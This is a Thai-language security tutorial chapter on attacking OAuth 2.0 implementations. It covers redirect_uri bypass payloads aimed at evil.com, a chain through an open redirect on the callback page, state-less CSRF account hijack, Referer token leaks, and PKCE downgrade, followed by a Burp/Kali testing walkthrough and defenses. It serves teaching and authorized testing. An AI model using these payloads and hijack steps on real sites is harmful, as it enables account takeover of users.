OAuth Attacks
OAuth 2.0 เป็นมาตรฐาน delegated authorization ที่ใช้ทำ 'login with Google/Facebook' ช่องโหว่เกือบทั้งหมดอยู่ที่ implementation ไม่ใช่ตัว protocol: การ validate redirect_uri หลวม (ขโมย code/token), ขาด/ไม่ตรวจ state (OAuth CSRF / account hijack), token รั่วผ่าน Referer, ความเสี่ยงของ implicit flow, และการ bypass/downgrade PKCE บทนี้ไล่ทุกจุดพร้อม request จริงและ decision flow
1. OAuth flow และจุดที่พลาด
Authorization Code flow: client ส่งผู้ใช้ไป authorization server พร้อม client_id, redirect_uri, scope, state ผู้ใช้อนุมัติ → server redirect กลับ redirect_uri พร้อม code → client (ฝั่ง backend) แลก code เป็น access token ด้วย client_secret จุดพลาดหลักอยู่ที่การ validate redirect_uri และการตรวจ state
| parameter | หน้าที่ | ถ้าพลาด |
|---|---|---|
| redirect_uri | ที่ที่ code/token ถูกส่งกลับ | validate หลวม → ส่งไปโดเมนเรา |
| state | กัน CSRF ผูก request กับ session | ขาด/ไม่ตรวจ → account hijack |
| code | แลกเป็น token (ครั้งเดียว) | ใช้ซ้ำ/ไม่หมดอายุ |
| scope | ขอบเขตสิทธิ์ | ขอเกิน/ไม่ตรวจ |
| code_challenge (PKCE) | ผูก code กับ client จริง | ไม่บังคับ → downgrade |
2. redirect_uri abuse (ขโมย code/token)
ช่องที่ทรงพลังที่สุด: ถ้า authorization server ยอมรับ redirect_uri ที่ไม่ตรง exact match ผู้โจมตีทำให้ code/token ถูกส่งไปโดเมนที่ตัวเองคุมได้ = ขโมย session OAuth ของเหยื่อ (account takeover)
# ปกติ
redirect_uri=https://app.com/callback
# 1) ยอม subdomain/prefix match
redirect_uri=https://app.com.evil.com/callback
redirect_uri=https://evil.com/app.com/callback
# 2) ยอม path เพิ่ม (แล้ว chain open redirect บน client)
redirect_uri=https://app.com/callback/../redirect?to=https://evil.com
# 3) ยอม localhost / port ต่าง
redirect_uri=https://app.com@evil.com/callback (userinfo trick)
redirect_uri=https://app.com/callback?next=https://evil.com
# 4) path traversal / encoding bypass ตัว validator
redirect_uri=https://app.com%2f%2e%2e%2fevil
redirect_uri=https://app.com\.evil.com/callbackการ chain ที่พบบ่อยที่สุด: redirect_uri ที่ถูก whitelist ไว้ + open redirect บน client เช่น redirect_uri=https://app.com/callback ผ่านการ validate (exact) แต่ callback ของ client มี open redirect ต่อ → code ไหลออกไป evil.com ผ่านหน้าที่ 'ถูกต้อง' ดูหัวข้อ Open Redirect ประกอบ
# redirect_uri ผ่าน whitelist แต่ callback มี ?returnTo= (open redirect)
GET /authorize?client_id=X&response_type=code
&redirect_uri=https://app.com/callback%3FreturnTo%3Dhttps://evil.com
# code ถูกส่งไป /callback → callback redirect ต่อไป evil.com พร้อม code ใน URL/Referer
# attacker เก็บ code จาก log แล้วแลก token / login เป็นเหยื่อ3. state / CSRF & account hijack
state เป็น anti-CSRF token ที่ client สร้าง (ผูกกับ session) แล้วตรวจตอน callback ถ้า ไม่มี state หรือไม่ตรวจ ผู้โจมตีทำ OAuth CSRF: ผูกบัญชี OAuth ของตัวเองเข้ากับบัญชีของเหยื่อ (login CSRF) หรือในทางกลับ ทำให้เหยื่อ login เป็นบัญชีของผู้โจมตีแล้วกรอกข้อมูลลับลงไป
- 1เริ่ม flow OAuth ด้วยบัญชีผู้โจมตี แล้ว 'ดัก' code ไว้ (ยังไม่ให้ client ใช้)
- 2หลอกเหยื่อ (ที่ล็อกอินแอปอยู่) ให้เปิดลิงก์ callback พร้อม code ของผู้โจมตี
- 3ถ้าไม่ตรวจ state → แอปผูกบัญชี Google ของผู้โจมตีเข้ากับบัญชีเหยื่อ
- 4ผู้โจมตี login ผ่าน Google ตัวเอง → เข้าบัญชีเหยื่อได้
- ขาด state: ไม่มี parameter เลย → CSRF ได้ทันที
- state ไม่ผูก session: ค่าคงที่/เดาได้ → ผู้โจมตีใส่ค่าที่ผ่านได้เอง
- state ไม่ถูกตรวจ: ส่งมาแต่ backend ไม่ verify
- ใช้ nonce/PKCE แทนแต่ไม่ผูก session: ยังเปิดช่อง CSRF บาง flow
state ออกจาก callback, ใช้ค่าซ้ำจาก session อื่น, หรือใช้ค่าที่เดา — ถ้า flow ยังสำเร็จ = ไม่ตรวจ state จริง ทำเฉพาะบน lab/scope ที่อนุญาต4. Token leakage & implicit flow
Implicit flow (response_type=token) ส่ง access token กลับมาใน URL fragment (#access_token=...) ตรงๆ ไม่มีขั้นแลก code จึงเสี่ยงรั่วมากกว่า code flow — token อยู่ในประวัติเบราว์เซอร์, เข้าถึงได้ด้วย JS ทุกตัวในหน้า, และรั่วผ่าน Referer ปัจจุบัน OAuth 2.1 เลิกแนะนำ implicit flow แล้ว
- Referer leak: token/code ใน URL รั่วไป third-party script/resource ผ่าน
Refererheader เมื่อหน้าโหลด asset ภายนอก - Fragment persistence:
#access_tokenค้างใน history/bookmark - postMessage หลวม: flow ที่ส่ง token ผ่าน
postMessageโดยไม่ตรวจ origin ปลายทาง → รั่วให้ iframe ผู้โจมตี - code ใช้ซ้ำ: authorization code ที่ไม่ถูก invalidate หลังแลก → replay
# callback ที่มี token ใน URL แล้วหน้าโหลด resource ภายนอก
GET /callback#access_token=ya29.xxx HTTP/1.1
# หน้านี้โหลด <img src="https://analytics.evil.com/pixel">
# → Referer: https://app.com/callback#access_token=... รั่วไป evil.com
# (fragment มักไม่ไปกับ Referer แต่ query string ไป — ตรวจทั้งสองแบบ)5. PKCE — บทบาทและการ bypass
PKCE (Proof Key for Code Exchange) ป้องกันการขโมย code โดยให้ client สร้าง code_verifier สุ่ม แล้วส่ง code_challenge = SHA256(verifier) ตอน authorize ตอนแลก code ต้องแนบ code_verifier ตัวจริง — code ที่ถูกขโมยจึงแลก token ไม่ได้ถ้าไม่มี verifier จุดอ่อนคือ implementation ที่ทำ PKCE ไม่ครบ
- PKCE downgrade: server ยอมแลก code โดยไม่ต้องมี code_verifier ถ้าไม่ได้ส่ง challenge มา → ตัด PKCE ออกทั้งชุด
- plain method: ยอม
code_challenge_method=plain(challenge = verifier ดิบ) → ถ้า challenge รั่ว = verifier รั่ว - ไม่ผูก verifier กับ code: server ไม่ตรวจว่า verifier ตรง challenge เดิม
- ไม่บังคับ PKCE กับ public client: mobile/SPA ที่ไม่มี client_secret ควรบังคับ PKCE
6. ตัวอย่าง CTF & Real-world
CTF (PortSwigger): authorization server validate redirect_uri แค่ prefix จึงยอม redirect_uri=https://oauth-site/callback/../evil-path ที่ path traversal ออกไปหน้าที่ผู้โจมตีคุม — เมื่อ admin login SSO, code ถูกส่งไปหน้านั้น, ผู้โจมตีเก็บ code แล้วแลก token เข้าบัญชี admin
Real-world: ปุ่ม 'link Google account' ไม่มี state — ผู้โจมตีสร้างลิงก์ callback ที่ผูก Google ของตัวเองแล้วส่งให้เหยื่อ (CSRF) เมื่อเหยื่อ (ล็อกอินแอปอยู่) คลิก บัญชี Google ผู้โจมตีถูกผูกกับบัญชีเหยื่อ → ผู้โจมตี 'login with Google' เข้าบัญชีเหยื่อได้ พบบ่อยในฟีเจอร์ social-linking
| สัญญาณ | ลองทำ |
|---|---|
| redirect_uri แก้แล้วยัง redirect | ขโมย code (subdomain/path/@/traversal) |
| callback มี ?returnTo= / open redirect | chain ให้ code ไหลออก |
| ไม่มี state ใน authorize | OAuth CSRF / account hijack |
| response_type=token | implicit → หา Referer/postMessage leak |
| ไม่มี code_challenge | PKCE downgrade / reuse code |
| scope ปรับได้ | ขอ scope เกิน |
7. ข้อผิดพลาด & การป้องกัน
- เทสแค่ redirect_uri: ลืม state/PKCE/scope ที่ให้ account takeover เหมือนกัน
- มองข้าม open redirect บน client: chain นี้ทำให้ redirect_uri ที่ 'exact match' ยังรั่ว
- ไม่แยก fragment vs query: Referer leak ต่างกัน — implicit token อยู่ใน fragment
- ทดสอบด้วยบัญชีเดียว: account hijack ต้องมีบัญชี attacker + victim
state ผูก session และตรวจทุกครั้ง, ใช้ Authorization Code + PKCE เสมอ (เลิก implicit), code ใช้ครั้งเดียว+หมดอายุสั้น, ไม่มี open redirect บนหน้า callback, บังคับ PKCE (S256) กับ public client, และตรวจ scope ฝั่ง server ไม่เชื่อค่าที่ client ขอ8. Quick Reference
- redirect_uri หลวม (subdomain/path/@/traversal) → ขโมย code/token
- chain open redirect บน callback → redirect_uri exact ก็ยังรั่ว
- ขาด/ไม่ตรวจ state → OAuth CSRF / account hijack
- implicit (response_type=token) → token ใน fragment เสี่ยง Referer/postMessage leak
- code ใช้ซ้ำ/ไม่หมดอายุ; PKCE downgrade/plain method
- scope: ขอเกินที่ควรได้
- ทดสอบด้วย 2 บัญชี (attacker+victim) สำหรับ hijack
- ป้องกัน: exact redirect_uri, บังคับ state+PKCE, code ครั้งเดียว, เลิก implicit
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอปุ่ม 'Login with Google/Facebook' บนเว็บเป้าหมาย มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อเช็ค OAuth flow
- 1เปิด Burp Suite ตั้ง proxy แล้วกดปุ่ม login with Google/Facebook ดัก request /authorize ที่มี client_id, redirect_uri, state, response_type
- 2ส่ง request /authorize เข้า Repeater แล้วดูว่ามี state parameter ไหม (ถ้าไม่มี = ท่าง่ายสุด)
- 3ลองแก้ redirect_uri เป็นโดเมนย่อย/path ต่างๆ (เช่น app.com.evil.com, app.com/callback/../evil) แล้วดูว่า auth server ยัง redirect ให้ไหม
- 4ถ้า redirect_uri exact match ลองหา open redirect บน callback path เดียวกันด้วย ffuf หรือดูมือ
- 5ลบ state parameter ออกจาก callback request ใน Repeater แล้วดูว่า flow ยังสำเร็จไหม
- 6เช็ค response_type: ถ้าเป็น token (implicit flow) เปิด DevTools ดูว่า token อยู่ใน URL fragment ไหม แล้วดูว่าหน้านั้นโหลด external resource ที่ทำให้ Referer รั่วหรือไม่
- 7ลองแลก code ซ้ำ (replay ด้วย Repeater) ดูว่าใช้ได้มากกว่า 1 ครั้งไหม
- 8ถ้ามี code_challenge (PKCE) ลองแลก code โดยไม่ใส่ code_verifier ดูว่า server ยอมไหม (downgrade)
- 9เก็บหลักฐานผลทดสอบทุกข้อไว้เทียบกับตารางสัญญาณ
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ดักจับ authorize/callback request | Burp Suite Community | - | - |
| แก้ redirect_uri/state ทดสอบ | Burp Repeater | - | - |
| หา open redirect บน callback | ffuf | - | - |
| ถอด/ตรวจ JWT access token | - | git clone https://github.com/ticarpi/jwt_tool | jwt.io |
| ดัก fragment/postMessage token | Burp / เบราว์เซอร์ DevTools | - | - |
| ทดสอบ CORS ประกอบ | curl | - | - |
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้